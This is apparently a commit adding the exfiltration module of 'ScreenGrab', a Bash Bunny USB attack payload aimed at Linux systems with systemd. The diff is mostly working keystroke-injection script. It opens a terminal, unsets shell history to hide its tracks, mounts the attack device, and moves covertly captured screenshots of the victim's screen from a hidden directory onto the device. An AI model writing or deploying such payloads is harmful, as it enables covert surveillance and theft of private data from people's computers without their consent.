Uploading ScreenGrab (#511)

* uploading screenGrab

screenGrab payload captures snap shots of target's screen periodically and store them into bunny.

* Uploading payload

payloads/library/execution/ScreenGrab/switch2/payload.txt

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+# Title: screenGrab
+# Description: screenGrab payload's exfilteration module to move captured snapshots to bunny.
+# AUTHOR: drapl0n
+# Version: 1.0
+# Category: Execution
+# Target: GNU/Linux operating systems with systemd.
+# Attackmodes: HID, Storage.
+
+LED SETUP
+ATTACKMODE STORAGE HID
+GET SWITCH_POSITION
+LED ATTACK
+Q DELAY 1000
+Q CTRL-ALT t
+Q DELAY 1000
+
+# [Prevent storing history]
+Q STRING unset HISTFILE
+Q ENTER
+Q DELAY 200
+
+# [Fetching BashBunny's block device]
+Q STRING lol='$(lsblk | grep 1.8G)'
+Q ENTER
+Q DELAY 100
+Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)''
+Q ENTER
+Q DELAY 200
+
+# [Mounting BashBunny]
+Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp
+Q ENTER
+Q DELAY 2000
+Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)''
+Q ENTER
+Q DELAY 500
+
+# [transfering payload script]
+# create directory named screenGrab in /loot/
+Q STRING mv /var/tmp/.system/sysLog/* '$mntt'/loot/screenGrab/ \&
+Q ENTER
+Q STRING disown \&\& exit
+Q ENTER